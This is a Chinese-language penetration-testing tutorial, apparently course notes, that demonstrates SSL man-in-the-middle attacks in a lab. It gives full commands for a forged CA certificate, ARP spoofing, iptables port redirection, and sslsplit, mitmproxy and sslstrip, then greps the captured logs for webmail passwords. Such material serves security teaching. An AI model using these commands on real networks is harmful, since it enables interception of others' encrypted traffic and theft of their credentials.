本文記錄 Kali Linux 2018.1 學習使用和滲透測試的詳細過程，教程為安全牛課堂裡的《Kali Linux 滲透測試》課程

1. SSL 中間人攻擊
2. sslsplit
3. Mitmproxy
4. sslstrip

1. SSL 中間人攻擊

1. 攻擊者未與客戶端和伺服器通訊鏈路中

   • ARP
   • DHCP
   • 修改閘道器
   • 修改 dns
   • 修改 hosts
   • ICMP、STP、OSPF

2. 攻擊過程

   

3. 攻擊的前提

   • 客戶端已經信任偽造證書頒發機構
   • 攻擊者控制了合法證書頒發機構
   • 客戶端控制了合法證書頒發機構
   • 客戶端程式禁止了顯示證書錯誤告警資訊
   • 攻擊者已經控制了客戶端，並強制其信任偽造證書

2. sslsplit

1. 簡介

   • 透明SSL中間人攻擊工具
   • 對客戶端偽裝成伺服器，對伺服器偽裝成普通客戶端
   • 偽裝伺服器需要偽造證書，需要現在本地生成偽造證書
   • 支援 SSL 加密的 SMTP、POP3、FTP等通訊中間人攻擊

2. 利用openssl 生成證書私鑰

   [email protected]:~# openssl genrsa -out ca.key 2048
       Generating RSA private key, 2048 bit long modulus
       ............................................+++
       ...+++
       e is 65537 (0x010001)
    
   

3. 利用私鑰簽名生成證書

   [email protected]:~# openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
       You are about to be asked to enter information that will be incorporated
       into your certificate request.
       What you are about to enter is what is called a Distinguished Name or a DN.
       There are quite a few fields but you can leave some blank
       For some fields there will be a default value,
       If you enter '.', the field will be left blank.
       -----
       Country Name (2 letter code) [AU]:CN
       State or Province Name (full name) [Some-State]:jilin   
       Locality Name (eg, city) []:changchun
       Organization Name (eg, company) [Internet Widgits Pty Ltd]:alibaba
       Organizational Unit Name (eg, section) []:ali
       Common Name (e.g. server FQDN or YOUR name) []:alibaba
       Email Address []:
    
   [email protected]
   

4. 攻擊者開啟路由功能

   [email protected]:~# vim /etc/sysctl.conf
   net.ipv4.ip_forward=1

5. 配置 iptables 規則

   # 檢視規則
   [email protected]:~# iptables -t nat -L -n
   
   # 清空規則
   [email protected]:~# iptables -t nat -F
   
   # 檢視 80 和 443 埠是否有佔用
   [email protected]:~# netstat -tulnp | grep 80
   [email protected]:~# netstat -tulnp | grep 443
   
   # 編寫規則
   # PREROUTING：路由生效之前執行規則
   
   # 發給 80 埠的流量轉發給 8080
   iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
   
   # 發給 443 埠的流量轉發給 8443
   iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
   
   # MSA：郵件提交代理
   iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 
   
   # SMTPS：簡單郵件傳輸
   iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 
   
   # IMAPS：接收郵件
   iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 
   
   # POP3S：郵件傳輸
   iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 
   
   iptables -t nat -L -n
   

6. 檢視被攻擊者的機器

   IPv4 地址 . . . . . . . . . . . . : 10.10.10.133
   子網掩碼  . . . . . . . . . . . . : 255.255.255.0
   預設閘道器. . . . . . . . . . . . . : 10.10.10.2
   DHCP 伺服器 . . . . . . . . . . . : 10.10.10.254
   

   

7. kali 實現 arp 欺騙

   # kali IP：10.10.10.131
   # kali MAC：00:0c:29:89:71:eb 
   
   # 向區域網廣播，閘道器 10.10.10.2 的 MAC 地址為本機 的 MAC：0:c:29:89:71:eb
   [email protected]:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2
   

   

8. 啟動 sslsplit 進行攻擊

   • 建立目錄

     [email protected]:~# mkdir -p /root/test/logdir/

   • 偵聽 8080 和 8443

     sslsplit -D -l connect.log -j /root/test -S /root/test/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
     

9. 被攻擊者訪問 https 網站

   https://www.taobao.com
   

   
   
   
   

10. 攻擊者檢視捕獲的內容

    
    

11. 被攻擊者訪問 163 郵箱

    https://mail.163.com/
    

    

    [email protected]:~/test/logdir# grep 456456 *
    

    

    [email protected]:~/test/logdir# grep password *
    

    

12. 為了避免證書報錯，可以安裝根證書

    將生成的 cs.crt 拷貝到 被攻擊者機器上
    

    
    

13. 在此訪問淘寶

    不再提醒證書錯誤
    

    

3. Mitmproxy

1. kali 實現 arp 欺騙

   # kali IP：10.10.10.131
   # kali MAC：00:0c:29:89:71:eb 
   
   # 向區域網廣播，閘道器 10.10.10.2 的 MAC 地址為本機 的 MAC：0:c:29:89:71:eb
   [email protected]:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2
   

   

2. 防火牆規則

   # Mitmproxy 只支援在 8080 偵聽
   iptables -t nat -F
   iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
   iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
   

3. mitmproxy 啟動

   mitmproxy -T --host -w mitmproxy.log
   

4. 被攻擊者登入

   

   https://mail.163.com/
   

   

5. 攻擊者

   

   [email protected]:~# ll mitmproxy.log 
   -rw-r--r-- 1 root root 688868 3月  26 09:50 mitmproxy.log
   

4. sslstrip

1. 簡介

   • 與前兩種工具不同，將客戶端到中阿金人之間的流量變為明文
   • sslstrip -l 8080

2. kali 實現 arp 欺騙

   # kali IP：10.10.10.131
   # kali MAC：00:0c:29:89:71:eb 
   
   # 向區域網廣播，閘道器 10.10.10.2 的 MAC 地址為本機 的 MAC：0:c:29:89:71:eb
   [email protected]:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2
   

   

3. 攻擊者啟動 sslstrip

   [email protected]:~# sslstrip -l 8080
   sslstrip 0.9 by Moxie Marlinspike running...
   

4. 檢視日誌

   [email protected]:~# cat sslstrip.log